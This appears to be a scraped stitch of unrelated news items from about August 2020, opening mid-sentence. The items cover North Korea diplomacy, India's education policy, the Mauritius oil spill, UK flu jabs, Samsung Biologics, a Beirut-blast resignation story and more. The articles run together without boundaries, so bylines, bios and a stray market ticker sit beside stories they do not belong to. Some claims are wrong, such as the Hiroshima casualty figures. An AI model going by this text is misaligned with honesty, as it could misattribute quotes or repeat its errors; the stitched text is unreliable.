Korean Peninsula at the University of Chicago, told Xinhua that the DPRK is "always ready to come back to the table, for the right deal." "They have all the time in the world, and I'm sure they would be perfectly happy to meet with Trump again at any point if he offers up a big enough incentive," Gibson added. A full peace treaty, for example, could be more than enough to spark serious talks again, she said. "But even if they manage to set up high-level meetings again," Gibson said she "has serious doubts about the ability to come to a full agreement at the end of the day, considering how far apart the two sides are." Enditem Director of Content and Operations Spencer McKee is OutThere Colorado's Director of Content and Operations. In his spare time, Spencer loves to hike, rock climb, and trail run. He's on a mission to summit all 58 of Colorado's fourteeners and has already climbed more than half. 'English must be taught extremely well to all children in all schools, and especially so in those schools where the medium of instruction until Grade 5/8 is in the mother tongue/local language/regional language.' IMAGE: Students appearing for the higher secondary examination conducted by the Madhya Pradesh Board of Secondary Education in Bhopal. Photograph: ANI Photo One of the architects of the new National Education Policy, former chairman of the Indian Space Research Organisation Dr K Kasturirangan has played a pivotal role in the latest reforms in Indian education. As chairman of the Kasturirangan Committee that submitted the report that helped form the policy document, the space scientist has been instrumental in making Indian education 21st century ready. In an interview with Vinay Umarji and T E Narasimhan, Dr Kasturirangan defends scepticism, especially around regional languages as a medium of instruction and fee cap for private institutions, among others. In what salient ways is the new policy different from the previous one? NEP 2020 aims to help students learn about the world around them and contribute to it in various ways by focusing on learning by doing, by developing critical thinking and problem-solving skills, along with the other 21st century literacies, competencies and personality traits. The policy, therefore, has a keen focus on early childhood care and education as well as in ensuring that students attain literacy and numeracy. There is also emphasis on vocational education that will be integrated into school and college education. Another key focus area is the vision of a liberal education that begins in secondary school and carries on into undergraduate education. There is also a provision to increase the number of researchers and the quality of research through the National Research Foundation. How different is the new NEP from the report submitted by your committee? Almost all the recommendations in the draft policy made by the committee have been accepted. Some, such as the new regulatory structure for 'light but tight' regulation, have been modified for better efficiency of execution. The draft policy had recommended uncapping fees in the private sector along with the suggestion that private institutes provide scholarships to up to 50 per cent of their students. However, given some Supreme Court judgments on the issue, the government has retained the cap on fees. What could be some immediate execution challenges of the policy that you foresee? The execution challenges will depend a lot on the implementation plan that the Centre and the states work out. It will be important to wait for those before assessing the challenges. There has been some scepticism around local language teaching till Class 5 in the NEP. We must not confuse learning languages with the medium of instruction. The policy is clear that as a country we must not deny children the advantages of knowing English. Therefore, English must be taught extremely well to all children in all schools, and especially so in those schools where the medium of instruction until Grade 5/8 is in the mother tongue/local language/regional language. Schools can continue to advertise their medium of instruction for the benefit of parents. However, parents also need to understand the issues regarding language learning. They would like their children to learn English well, starting at a very young age, but this does not happen only by having English as the medium of instruction. There is no compulsion on schools to change their medium of instruction. This is only a strong recommendation to use home language/mother tongue/local language to teach very young children. While graded autonomy has been a much-needed move, many colleges fear losing affiliation and facing even closure. Are these fears justified? There are many poor quality colleges in the country. Besides learning from teachers, students also learn a lot from each other (peer learning). Yet most Indian colleges do not provide the environment for learning since they are very small, have low enrolments, and also do not have any residential facilities. The Japanese bulk carrier that has caused the oil spill off the island of Mauritius, striking a coral reef and leaking an estimated 1,000 tons, is now known to have passed its annual inspection in March without any problems. That's according to Japan's ClassNK inspection body on Tuesday. The ship, the MV Wakashio, ran onto the reef on July 25, and the resulting oil leak has raised fears of a major ecological crisis. The leak has stopped but there are reportedly several cracks in the hull, and -- having already declared a state of emergency -- the prime minister says they must prepare for "a worst case scenario". Conservationists say they are starting to find dead fish as well as seabirds covered in oil, increasing fears of an ecological catastrophe despite a massive local clean-up operation The Japanese government is sending a team to assist cleanup efforts. The International Maritime Organization (IMO) also said it had joined in, by providing technical advice and coordinating the response. Authorities are investigating the death of a three-month-old girl who was found unresponsive at a home in New South Wales. Emergency services were called to a unit in Hamilton South, in Newcastle, last Tuesday. The baby died after being rushed to John Hunter Hospital. Emergency services were called to a unit on Fowler St (pictured) in Hamilton South, Newcastle, last Tuesday Police are now investigating the infant's death after a crime scene was established and a forensic team inspected the apartment. An autopsy has been conducted and police continue to investigate the circumstances surrounding the child's death. No charges have been laid yet. Drive-through flu vaccines are set to be given in doctors' car parks in a bid to stop a potential second wave of coronavirus combining with winter illnesses. Ministers are planning to get more than 30million people vaccinated against the flu to protect the NHS from the threat of double viruses later this year. Experts have warned that a flu outbreak in the colder months could wreak havoc on the NHS if it coincides with a sharp rise in coronavirus cases. However, GPs have raised concerns over the plans which would see people go to get their jabs in surgery car parks. NHS England is planning to make vaccination centres which are modelled on the drive-through Covid-19 testing areas. The chief medical officer for England, Chris Whitty, wrote a letter to GPs and other NHS bosses which said they should look at 'social-distancing innovations, such as drive-in vaccinations and ''car as waiting room'' models', The Times reported. He added that the option to be vaccinated at home should be considered to help those who are shielding. Drive-through centres are already being used for coronavirus testing, and flu vaccinations may soon be given in the same way (Pictured: A drive-through centre in Stone, Staffordshire) Ministers are planning to get more than 30million people vaccinated against the flu to protect the NHS from the threat of double viruses later this year (stock image) However, the Government has admitted that it may not have enough jabs to meet the NHS's aim to immunise 30million people in England. Everyone over the age of 50 will be offered a flu vaccination as well as children in Year 7 and households of people who are shielding. Although the letter made clear that healthy people between 50 and 64 would only get the jab if there are enough supplies. People over 65 and the other groups will be given priority. The Government has said it bought enough stock to vaccinate 75 per cent of eligible people which would be about 22million. The head of the Royal College of GPs, Martin Marshall, told The Times: 'GPs need clear guidance who, outside of those patients most at risk, should be prioritised for a flu jab - and there needs to be clear public messaging that this is the case to manage patients' expectations.' At the moment, the free NHS flu programme is for people aged 65 and over, pregnant women, people with certain conditions such as kidney disease, asthma or heart disease and carers or those in care homes. The flu jab designed to fight off four different strains of influenza expected to circulate offers no protection against the SARS-CoV-2 virus, which causes Covid-19. Most people who get the flu escape with only a mild illness but patients struck down with a severe bout can be hospitalised. Seasonal flu has a mortality rate of around 0.1 per cent. One government adviser Imperial College London's Professor Peter Openshaw raised the idea of flu shots for the entire population in April, saying it was 'something to be considered'. Professor Openshaw, part of the New and Emerging Respiratory Virus Threats Advisory Group (NERVTAG), said a bad flu season with coronavirus 'would be a huge burden on the NHS'. Sarah MacFadyen, head of policy and public affairs at Asthma UK and the British Lung Foundation, said: 'We welcome this ambitious plan from the government, but we urgently need more information on how this will be rolled out. Flu season is fast approaching and healthcare professionals must be given time to prepare. 'We know that uptake of the flu vaccine amongst people with lung conditions is much too low, with less than half of eligible people in this group getting the jab last year. Increasing uptake amongst at risk groups is vital to protect the most vulnerable in our society. 'To achieve this the government needs to ensure people can easily access the flu jab and that the message of how important it is to get vaccinated reaches as many people as possible. Everyone, especially people with lung conditions, must also be reassured the jab can be delivered in a Covid-safe way.' The tell-tale symptoms of Covid-19 a fever, cough and the loss of smell or taste could be mistaken for the flu, which has similar effects and is much worse than a common cold. This could cause confusion among the population. If they have the coronavirus, they may think they only have the flu if they have not been given a vaccine to protect them. And dishing out the flu vaccine which only 70 per cent of eligible NHS staff accepted last year could prevent thousands of people from needing NHS treatment. During the peak of Britain's coronavirus crisis, around 3,500 people were being admitted to hospital with Covid-19 each day. The disease is estimated to be up to eight times deadlier than flu. Studies have suggested any second wave will be deadlier than the first, adding to data showing the second bout of the 1918 Spanish flu pandemic was much more lethal than its predecessor. Imperial College London modelling warned the death toll could have been closer to 500,000, had ministers let the virus spread uncontrollably through the nation. Infectious disease experts say that because so few Britons have been struck down with Covid-19, which began to spiral out of control in the UK in March, the threat of a second wave is real. Britain is also currently nowhere near having herd immunity to the coronavirus, with government testing surveys suggesting 5.4 per cent of people in England have had the illness. This is equal to around 3.02million people. Sixty per cent coverage thought to be the amount of the population needed for herd immunity would be the equivalent of 33.6million people across the country. Cold and flu viruses are known to thrive in the winter and scientists fear the coronavirus may also prove to be more of a problem in the colder months. Experts are cautious about whether Covid-19 poses a bigger threat in the winter, however. The disease has only been known to science for six months, meaning little is yet known about the pathogen. The militarys grip on society goes back generations in Thailand, where coups are almost as likely as elections to shape politics. The school haircut rule, for instance, was instituted in 1972, when the country was led by an American-backed field marshal. In the military governments intention, the ideal student, like the citizen, should be passively prone, said Giuseppe Bolotta, an assistant professor of research in anthropology at Durham University in Britain who studies Thailand. The aim, he said, was for the youth to show absolute loyalty and obedience and be ready to sacrifice for the sake of the nation and its tutelary deities: monarchy, Buddhism and the army. Even today, infractions, such as wearing socks that tend toward ecru or eggshell rather than plain white, can earn students a caning, despite a ban on corporal punishment in schools. And army conscription remains a fact of life for young men. The militarys values are to not question and to follow orders collectively, said Netiwit Chotiphatphaisal, the president of the political science student union at Chulalongkorn University in Bangkok. This is imposed in Thai schools, where teachers say we have to be obedient. Because its gone on so long, we think this is normal, that the government also has to be obeyed. In May, after protests by Mr. Netiwit, Ms. Benjamaporn and others, the education ministry relaxed the rules on student haircuts. While perms and dyed hair are still taboo, individual schools can now decide on the coiffures of their charges. But many schools, particularly in rural areas, have kept to the old traditions. Samsung Biologics CEO Kim Tae-han announces the company's plan to build plant No.4 in Incheon, during an online press conference on Tuesday. Courtesy of Samsung Biologics By Nam Hyun-woo Samsung Biologics announced its plans to build a 256,000-liter plant in Incheon, which will be the world's largest single plant producing biologic drugs. "With the new plant No.4, Samsung Biologics will shatter its own record of having the largest biologic plant in the world," Kim Tae-han, CEO of the contract drug manufacturer, said Tuesday during an online press conference. "When plant No.4 is completed, our manufacturing complex will have a combined capacity of 650,000 liters, which accounts for 30 percent of the global contract manufacturing facilities. Furthermore, we also have a plan to secure 330,000 square meters of land in Incheon to build another biologics complex in the future." Samsung Biologics currently has three plants, and the third one is the largest single drug manufacturing plant in the world with an 180,000-liter capacity. For plant No. 4, Kim said the company will invest 1.74 trillion won ($1.47 billion), and its construction will begin as early as next month. He expected the new plant will begin commercial operation by the end of 2022. "During the past decade, the global market for biologic drugs has grown by an average 8 percent every year, and the contract development and manufacturing market showed an average 16 percent growth annually," Kim said. "In the wake of COVID-19, many biopharmaceutical firms are increasing their reliance on contract manufacturing organizations to manage risks in their supply chain and stabilize new drug supply. And this results in a paradigm shift in the industry of drug development and manufacturing." The announcement came immediately after the U.S. Food and Drug Administration (FDA) granted a priority review on Biogen's application requesting the approval of aducanumab, a treatment candidate of Alzheimer's disease. If approved, aducanumab will likely be the world's first therapy for the disease, and Samsung Biologics has been widely expected to manufacture the drug in contracts with Biogen of the U.S., given the Korean firm's sizeable manufacturing capacity. Kim and other Samsung Biologics executives also have been dropping hints at the company's production plans for Alzheimer's treatments. During the press conference, Kim refused to talk about its potential production of aducanumab, but added "Alzheimer's disease treatments will be one of the main growth drivers in the global biologics market" and said the company has decided to build plant No.4 to meet "explosive market attention for treatments for cancer, brain diseases and Alzheimer's." Apart from aducanumab, construction of Samsung Biologics' plant No.4 has been widely anticipated. According to SK Securities, Samsung Biologics' plants No.1 and No.2 posted 100 percent operating rates in the first quarter, and the company has already accomplished this year's order target for plant No. 3, winning contracts worth 1.8 trillion won in the first half of this year. The accumulated orders in the first half of this year are six times more than the company's total orders in 2019. Global biopharmaceutical firms' efforts to develop COVID-19 treatments also appear as one of the reasons spurring Samsung Biologics to make the new investment. Kim said a number of new orders it won recently are COVID-19 treatment candidates, and the contract manufacturing deal with Vir Biotechnology of the U.S. is also for a COVID-19 treatment. In April, the two companies inked a $362 million manufacturing deal on Vir's COVID-19 treatment candidate, which is the largest contract Samsung Biologics has inked since it went public. "We would call plant No.4 a super plant, because it can provide seamless services on the whole process of drug development, ranging from cell line development, process development and product manufacturing," Kim said. Samsung Biologics said it will hire 1,800 people to operate the new plant and will create an additional 6,400 jobs for the construction, which will help the Korean government's attempts to promote the bio and healthcare industry as an economic growth engine. "Since its establishment in 2011, Samsung Biologics showcased rapid growth as one of the world's best contract development and manufacturing organizations, based on the support and help from investors, customers and the government," Kim said. "With the new plant, the company will widen its gap with rivals and help Korea to have its bio industry as an economic driver." Rupee rises 14 paise to close at 74.44 (provisional) against US dollar. Sensex plunges 656 pts to end at 60,098.82, Nifty tanks about 175 pts to end below 18,000-level. Manjit and his family wanted to pursue the American Dream: Supplied An Indian immigrant who died saving two children from drowning in a California river had big dreams of starting his own business, his family said. Manjit Singh, 29, had been cooling off at Reedley Beach on the Kings River, Frenso, on Wednesday, shortly after finishing a driving lesson, when he heard a woman crying out for help. Three of the womens children had got into difficulty while swimming in the river, prompting Manjit, his friends and family to spring into action. First he jumped in the water to save the kids and then he opened his turban and threw it like a rope, Malkiat Singh, Manjits brother-in-law, who was with him when he died, told reporters. When that did not work, Manjit launched himself into the river fully clothed, despite not being able to swim. Manjit and his family were able to save two of the children, while the third was swept away by the rivers current and left in a critical condition in Valley Childrens Hospital. Manjit moved to the US from India two years ago in search of a better life, his family said. He recently moved to Frenso and had enrolled on a truck driving course, with hopes of starting his own haulage company. (He had) big dreams. He said, Im going to go to work and buy a Range Rover, Gurinderjit Singh, Manjeets brother, told ABC 30. (He was a) very very good friend and big brother. Im lost without my brother. He is 29 only, Gurinderjit added. The family has been inundated with support from across the globe after the death of Manjit, whose body will be flown back to India. Malkiat has set up a gofundme page to help the family pay the costs of sending Manjit home. As of Monday morning, the appeal had raised $123,137 (94,000). Read more Trump condemns plans to rename sports teams as political correctness Highlights Airtel has launched ultra-fast 4G speed in Andaman and Nicobar islands after the launch of CANI. Airtel becomes the first private telco to roll out ultra-fast 4G services in the islands. Airtel is also looking at expanding its broadband services through the local cable operator model. Airtel launched its ultra-fast 4G services in Andaman and Nicobar circle after the inauguration of submarine optical fiber cable link between Chennai and Andaman and Nicobar Islands (CANI) on Monday. Airtel said that it was the first private telecom company to provide mobile services in Andaman and Nicobar Islands and had started the services back in 2005. Airtel has become the first private telco to roll out high-speed 4G services in the islands. Sunil Bharti Mittal, Chairman, Bharti Airtel said, "The new fiber link marks a major milestone in India's digital transformation journey as this critical infrastructure reaches the strategic archipelago. The fiber link will be a game-changer for the region and unlock the true potential of 4G and even 5G in the future for customers. Airtel remains fully committed to the Government's vision of Digital India. We hope the Department of Telecom will accelerate the deployment of USOF for building such infrastructure backbone to complement the efforts of telecom operators to bridge the digital divide." "From Chennai to Port Blair, Port Blair to Little Andaman and Port Blair to Swaraj Dweep, this service has started in large part of Andaman Nicobar from today," PM Modi said after launching India's first undersea optical fiber cable project, CANI. All telecom operators in the country will be able to provide their mobile and broadband services using the CANI optical fiber link. Government-owned telco Bharat Sanchar Nigam Limited(BSNL) also enhanced its existing plans with improved speeds in the islands. In related news, Airtel is also looking at expanding its broadband plans through the Local Cable Operator (LCO) model in India. In the LCO model, Airtel said that it will manage billing, plan, customer relationships with the last mile fiber managed by the local cable operator for which he gets a revenue share. Airtel has already gone into 12-13 towns with the LCO model and has seen a good response. Airtel is looking at expanding the LCO model in the next 6-12 months. "We give them a revenue share for basically laying the last-mile fiber, maintaining it, and everything else that is done on it, whether it is the router, it is the billing system, it is the plan, it is the customer relationship, all of it is managed by Airtel. The last mile fiber is managed by the local cable operator, for which he gets the revenue share," Gopal Vittal, Airtel's Managing director had said. GAUTIER, Mississippi -- A Cottondale, Ala., man is in custody, accused of robbing a woman at gunpoint at a Gautier car wash Monday morning. According to Gautier police Capt. Jerry Killingsworth, police responded to a report of an armed robbery at the Kwik Car Wash on Dolphin Drive about 8:23 a.m. Monday. When officers arrived, they met with the victim, who advised she had been washing her vehicle when a white male approached her and brandished a weapon. The victim saidwhe ran from the scene, while the suspect removed items from her vehicle. Based on a description provided by the victim, police located a vehicle matching the suspects vehicle in the parking lot of Lowes on U.S. 90 in Gautier. Officers were able to determine the vehicle belonged to the suspect and were able to apprehend him without incident as he left the store. The suspect has been identified as 50-year-old Marshall Edward Weaver Jr. He is charged with armed robbery and is being held at the Jackson County Adult Detention Center awaiting an initial court appearance. Anyone with information on this crime is asked to call the Gautier Police Department at 228-497-2486 or Mississippi Coast Crime Stoppers at 877-787-5898. By PTI AHMEDABAD: The Gujarat government on Tuesday said a judicial inquiry will be conducted by a retired judge of the high court into the fire at Shrey Hospital here in which eight COVID-19 patients were killed. The decision was taken after a Gujarat government- appointed two-member inquiry committee, comprising senior IAS officers, submitted its report to the state government on Monday. "Chief Minister Vijay Rupani has decided that a retired high court judge will probe the fire incident at Shrey Hospital so that no person responsible for it goes scot-free, a release issued by the state government said. The retired judge for the probe will be appointed at a later stage, it said. Rupani earlier ordered a preliminary inquiry in the case by a two-member committee, comprising state Additional Chief Secretary (Home) Sangeeta Singh and ACS (Urban Development) Mukesh Puri. In their report submitted on Monday, they said the primary cause of the fire was short-circuit in a medical equipment, which spread in the hospital's Intensive Care Unit (ICU) in next three minutes. The report said this was an accidental case of fire. On August 6, eight patients died in the blaze in the ICU ward of Shrey Hospital in Navrangpura area of the city. The fire broke out around 3.30 am on the top floor of the four-storey hospital, a designated facility for treatment of COVID-19 patients. A para-medical staff member of the hospital was injured in the incident. Shrey Hospital was one of the 60-odd private medical facilities authorised by the Ahmedabad Municipal Corporation to admit and treat coronavirus patients. After the incident, nearly 40 COVID-19 patients, who were undergoing treatment in the hospital's general ward, were shifted to the civic-run Sardar Vallabhbhai Patel Hospital. Using finances as a proxy for people's character or their worth as a potential employee is hugely problematic given that poverty is more prevalent in Black and Latino communities than white ones. And without thorough explanations on how algorithms judge individuals on what their faces look like and how they talk among many possible examples it's certainly conceivable they are using the same stereotypes that have created obstacles for communities of color for centuries. Bennett Raglin/WireImage Living music legends Willie Nelson and Paul Simon are railing against a new gas pipeline from an energy company that already poisoned water wells in the Texas Hill Country. The duo who both live in the Hill Country penned the letter to the Houston Chronicle urging the public to speak out about Kinder Morgans Permian Highway Pipeline, which is currently about 65 percent done. It will span from southwest of Houston to the Waha Oil Field in West Texas. Source: Xinhua| 2020-08-11 19:32:37|Editor: huaxia Video Player Close BEIJING, Aug. 11 (Xinhua) -- China's new yuan-denominated loans hit 992.7 billion yuan (about 142.4 billion U.S. dollars) in July, down 63.1 billion yuan compared with the same month of last year, data from the central bank showed Tuesday. The M2, a broad measure of money supply that covers cash in circulation and all deposits, rose 10.7 percent year on year to 212.55 trillion yuan at the end of July, said the People's Bank of China. The growth rate was 0.4 percentage points lower than that at the end of June, but up 2.6 percentage points compared with that in the same period last year. The narrow measure of the money supply (M1), which covers cash in circulation plus demand deposits, stood at 59.12 trillion yuan by the end of July, up 6.9 percent from a year ago. M0, the amount of cash in circulation, rose 9.9 percent year on year to 7.99 trillion yuan by the end of last month. Newly-added social financing, a measurement of funds the real economy receives from the financial system, came in at 1.69 trillion yuan in July, up 406.8 billion yuan year on year. By the end of July, total social financing reached 273.33 trillion yuan, up 12.9 percent year on year. Enditem Wolverine Boots Wherever you may roam, Metallica wants to make sure you're wearing the proper footwear to get the job done. The metal legends have teamed up with Wolverine -- the boot brand, not the X-Man -- to create the Metallica Scholars 1000 Mile Axel and Hellcat UltraSpring boots. The collaboration is an extension of the Metallica Scholars program, which provides funding for trade school students through the band's All Within My Hands charity foundation. "Wolverine shares the same vision that we had when creating the Metallica Scholars Initiative -- that it's incredibly important to create and sustain a strong and resilient American workforce," says frontman James Hetfield. "AWMH is our way of giving back and building future generations," he continues. "More importantly, we are helping these students achieve their dreams and transform their lives through the workforce education programs offered at community colleges all across the country." The boots will be released on August 26. you can pre-order them now exclusively through Wolverine.com. By Josh Johnson Copyright 2020, ABC Audio. All rights reserved. The Vaishno Devi Yatra in Jammu and Kashmir will resume from August 16, nearly five months after it was suspended due to the coronavirus COVID-19 pandemic. The government has decided to open religious places or places of worship in the union territory. The government has issued several guidelines for the pilgrims undertaking the yatra. There will be a ceiling of maximum 5,000 pilgrims per day till September 30. A maximum of 500 pilgrims per day will be permitted within this ceiling in a graded manner from outside Jammu and Kashmir. The children under the age of 10 will not be able to travel at present. All passengers will have to wear masks and a limited number of domestic devotees will be allowed to visit the shrine. Travel will be closed at night and for the time being, there is a prohibition on the stay of the devotees at the Mata Bhavan. At present, devotees will not be allowed to attend the 'Aarti' held in the morning. Due to the relatively large number of pilgrims visiting the Shrine of Shri Mata Vaishno Devi Ji at Katra, the following additional guidelines shall be applied to this shrine-- a) There shall be a ceiling of maximum 5000 pilgrims per day till 30th September 2020. A maximum of 500 pilgrims per day will be permitted within this ceiling in a graded manner from outside Jammu & Kashmir b) Registration of pilgrims should be made only through online mode, in order to avoid any assembly of persons at current counters c) For pilgrims coming from outside Jammu & Kashmir, the protocol of 100% compulsory COVID-19 antigen testing, as laid down in Government Order Dated 30.07.2020 will be followed. Permission to proceed beyond Katra on yatra shall be accorded only when COVID result of these pilgrims is negative. Pilgrims from Red districts of J&K shall also be compulsorily tested and allowed to proceed on yatra if the result is negative. Necessary administrative arrangement and coordination will be done by concerned District authorities and Shrine Board. d) Rapid Antigen Test (RAT) facilities at multiple locations at the start of the yatra route could also be set up to randomly test and identify any potential carrier of infection e) Periodic COVID-19 antigen testing of the exposed / frontline staff of SMVDSB and other service providers in the surrounding area shall be carried out in order to keep a constant tab on the spread of COVID infection in Katra and its surrounding area. f) Highest level of cleaning and sanitization protocol for the sanctum sanctorum including the holy caves should be followed. g) Sanitization and hygiene of all toilet blocks, bathing ghats, guest houses, battery cars, Helicopters, Cable car shall be ensured. h) Staggering of pilgrims in a manner such that the main Bhawan area at no point of time has a gathering of more than 600 persons (including pilgrims, security personnel and other service providers). i) Optimum use of all Yatra routes to ensure maximum staggering and physical distancing. j) Sufficient physical distancing inside the caves to ensure good ventilation. k) Sufficient facility for washing of hands and feet. l) Linen/blanket facility not to be allowed. Pilgrims should not be encouraged to stay at Bhawan after darshans. m) Provision of dedicated facilities for Isolation and Quarantine purpose. n) Use of Equines should not be allowed until further orders. General instructions for all places of worship: 1) The District Magistrates (Chairpersons of DDMAs) shall ensure compliance of these instructions. The DMs are fully competent to close or impose such restrictions on any place of worship(s) based on local assessment of the spread of COVID. 2) Organizations managing the affairs of various places of worship are mandatorily required to set up Covid-19 Safety Committees, which may consist of their volunteers/sevadars/employees. These Committees shall be required to ensure adherence to this SOP at all times. The District Magistrates shall be required to ensure compliance to this before the opening of the Places of worship, on 16.08.2020. 3) Places of worship shall be allowed to open for public in all districts of Jammu and Kashmir. 4) Persons above 60 years of age, persons with co-morbidities, pregnant women and children below the age of 10 years are advised to stay at home. Organizations managing the religious institutions are required to enforce this at their level 5) All visitors are required to maintain a distance of 6 feet from each other in these places at all times, even when queuing up for entry. 6) All visitors are to be allowed entry only if they are using face covers/masks. 7) Only asymptomatic persons would be allowed entry into the premises. 8) People should be made to wash their hands and feet with soap and water before entering the premises. Necessary facilities shall be provided for this purpose by the organizations managing the premises. 9) Touching of statue, idols or holy books etc., should not be permitted. 10) Large congregational gatherings shall not be allowed inside premises till further orders. Only individual prayers shall be allowed to be performed. 11) Physical offerings like Sprinkling of Holy water, Prasad etc., should not be allowed. 12) Sanitization of the premises should be done at regular intervals, the timings for which should be fixed by the managing organizations. Frequent cleaning and disinfection roster should be maintained by the management of each place of worship. 13) Installation and use of Aarogya Setu App shall be mandatory for all visitors. 14) Staggering of the visitors should be done to prevent any crowding. 15) Shops/Footwear should be preferably taken off inside their own vehicles. 16) Common prayer mats/Durres should not be used and wherever required, devotees shall carry their own individual mats which shall be taken along. 17) Community kitchens Langers Bhojanalyas/ Food Courts etc. should be allowed to function only subject to norms of physical distancing, while preparing and distributing food. 18) There has to be very effective sanitization of lavatories, hand and foot washing stations/areas, railings, doorknobs, etc. Sanitization staff or volunteers have to be provided necessary disinfectants prescribed by the Ministry of Health and Welfare, Gol. 19) Proper disposal of face covers/ masks, gloves and other leftovers by the pilgrims should be ensured. 20) All places of worship will maintain a list of persons (with contactable details) entering their places, which may be required for the purpose of contact tracing subsequently by the concerned district administration. 21) In case of a suspect or a confirmed COVID case in the premises, the person should be isolated in an area, he should be immediately reported to the nearest health facility and necessary COVID protocol should be initiated. Special instructions for major shrines: 22) Major shrines like Charar-e-Sharief, Hazratbal, Mata Vaishnodeviji; Nangali Sahab; Shahdara Sharief; Shiv Khori etc., where devotees visit from all parts of the Union Territory and the Country, shall be required to take special precautions. 23) These shrines, to begin with on 16.08.2020, shall be permitted only for a limited number of visitors/ devotees from outside Jammu and Kashmir. 24) These Shrines shall set up a system of registration of visitors/devotees and only registered devotees, subject to an upper limit, to be decided by the organizations/trusts/Boards managing these Shrines in consultation with concerned District Magistrates, shall be allowed. OAKLAND (BCN) Five people died over a span of five days in the past week as a result of gun violence in Oakland, police said Monday. Six people have been shot and killed in the city since Aug. 1. "We are seeing a major spike in gun crime and shootings in many of our major cities in this quarter," interim Oakland Police Chief Susan Manheimer said at a news briefing Monday. Police said Austin, San Antonio, Nashville and Denver are among other cities that have seen dramatic spikes in homicides recently. In Oakland late Sunday, two men were shot and one of them died in gun violence in the 8600 block of Holly Street. Late Saturday night, two men were shot and one of them died in the 1400 block of 72nd Avenue. On Saturday evening, Darius Brazell, 55, of Oakland, was shot and killed at Lakeshore Avenue and Mandana Boulevard and late Friday night a man died in a shooting in the 1500 block of 92nd Avenue. On Thursday night, four men were shot, leaving one dead in the 4500 block of Fairfax Avenue. On Aug. 1, a man was shot and killed in the 2200 block of 35th Avenue. Survivors of the shootings were listed in stable condition as of Monday, police said. Other than Brazell, the names of the victims killed have not been released by police. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. OTTAWA - Canada must swiftly censure China's ruling Communist Party over its crackdown on democracy in Hong Kong, activists told MPs studying Ottawa's fractious relationship with Beijing. Hey there, time traveller! This article was published 11/8/2020 (525 days ago), so information in it may no longer be current. Hong Kong media tycoon and newspaper founder Jimmy Lai, sits in a car as he leaves a police station after being bailed out in Hong Kong, Wednesday, Aug. 12, 2020. The rounding up of the papers founder Jimmy Lai, the previous day and a raid on its headquarters have reinforced fears that a new national security law will be used to suppress dissent in Hong Kong after months of anti-government protests. (AP Photo/Kin Cheung) OTTAWA - Canada must swiftly censure China's ruling Communist Party over its crackdown on democracy in Hong Kong, activists told MPs studying Ottawa's fractious relationship with Beijing. Canada should work with other countries to invoke sanctions against Chinese officials for human rights violations, said Cherie Wong, executive director of Alliance Canada Hong Kong. Wong warned MPs on the House of Commons special committee on Canada-China relations Tuesday there is "a short window to act" before Beijing completely shuts down freedom of movement in Hong Kong. Gloria Fung, president of Canada-Hong Kong Link, echoed the call to sanction Hong Kong and Chinese officials responsible for abuses, something the U.S. has already done. She also urged Canada to initiate a "safe-harbour program" with an expedited process to grant permanent residence to people from Hong Kong at risk of political persecution. "Canada needs to work with international allies to institute a strong policy toward China," Fung said. "It is way past time for Canada to show leadership on the world stage." Canada has expressed deep concern about China's recent passage of national security legislation for Hong Kong, which critics say is being used to curb protest and free speech. Ottawa says the legislation was enacted in a secretive process, without the participation of Hong Kong's legislature, judiciary or people, and in violation of international obligations. The process demonstrated disregard for the high degree of autonomy promised for Hong Kong under the traditional "one country, two systems" framework, Canada said. Aileen Calverley, co-founder of Hong Kong Watch, said the new security law, which took effect this summer, has been used to suppress freedom of expression and assembly on the streets and in the classroom. Witnesses decried the arrest this week of Jimmy Lai, founder of the Apple Daily newspaper, as a blow to press freedom. "If Canada, with its long history of defending human rights, is not willing to stand with likeminded partners in defence of Hong Kong's freedom, then those values that we believe in will be degraded, along with Canada's standing in the world," Calverley said. "For Hong Kong it is five minutes to midnight." Ottawa has suspended the Canada-Hong Kong extradition treaty and says it will not permit export of sensitive military items to Hong Kong. The foreign ministers of Canada, New Zealand, the United Kingdom and the United States recently issued a joint statement denouncing what they called the Hong Kong government's unjust disqualification of candidates in legislative council elections. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Activists said Tuesday the Liberal government could do more to defend freedom in Hong Kong and protect protesters in Canada from Beijing's interference. The Canadian Coalition on Human Rights in China said in a report released in May that activists in Canada increasingly face consequences for raising awareness of serious rights issues involving China. The coalition, which includes Amnesty International Canada, said a number of protests organized by Hong Kong democracy supporters in Canada were met by pro-Beijing counter-protesters who used aggressive, confrontational tactics, and who expert observers believe may be directed or organized by Chinese state authorities. Alex Neve, secretary general of Amnesty Canada, said Tuesday the new national security law in Hong Kong "has been abused from Day One." "People have been arrested for possessing flags, stickers and banners with political slogans," he said. "Police and officials have claimed that slogans, T-shirts, songs and even holding up pieces of white paper endanger national security." This report by The Canadian Press was first published Aug. 11, 2020. The Prime Minister of Lebanon and his cabinet will resign after the devastating and horrific explosion for Beirut which has killed around 163 people. Resignation as tension rises Prime Minister Hassan Diab will address Lebanon on August 11 and Hamad Hasan, his own health minister, said that Prime Minister Diab is expected to step down from his post. There are several ministers who have already resigned after the public outrage over the blast. President Michel Aoun is also facing backlash and is contemplating to resign. The disaster that happened last week was caused by more than 2,000 tonnes of highly explosive ammonium nitrate which were piled up in a warehouse for 6 years. The explosion killed 163 people and it destroyed swathes of Beirut, leaving thousands of locals homeless. Also Read: Debunked: Did 'The Simpsons' Predict the Beirut Explosion That Killed More Than 70? Many Lebanese see the incident as a symbol of the country's corruption and the government's incompetence. Protests have also broken out with tear gas fired on protesters after months of economic and political meltdown. Diab's cabinet was formed in January 2020 and was backed by Hezbollah of Iran, met on August 10 with several ministers wanting to resign, as reported by BBC. Lebanon is now seeking $20 billion in funding from the IMF and is now facing billions more in disaster costs, with losses from the explosion estimated to be around $15 billion. There were nine lawmakers who have announced that they would quit in protest. President Aoun is pressured to quit and his portrait was burned by demonstrators who burst into the foreign ministry building during a protest over the weekend, as reported by Global Times. The Beirut blast The explosion last week is caused by a stockpile of ammonium nitrate which was left unsecured at the port since 2013. Around 6 days after the massive explosion which was felt all the way to Cyprus, residents, and volunteers were still clearing the debris of the streets. International rescue teams arrived with sniffer dogs, and there was also specialized equipment that was brought to the "ground zero" to search for bodies. Rescue teams are not expecting any survivors. According to the Lebanese army, five more bodies were pulled from the rubble with the help of French and Russian rescue teams. The death toll is now at 163, as reported by The Washington Post. The explosion was compared to the deadly Hiroshima atom bomb 75 years ago, which killed thousands of people, left 6,000 injured, and 300,000 homeless. 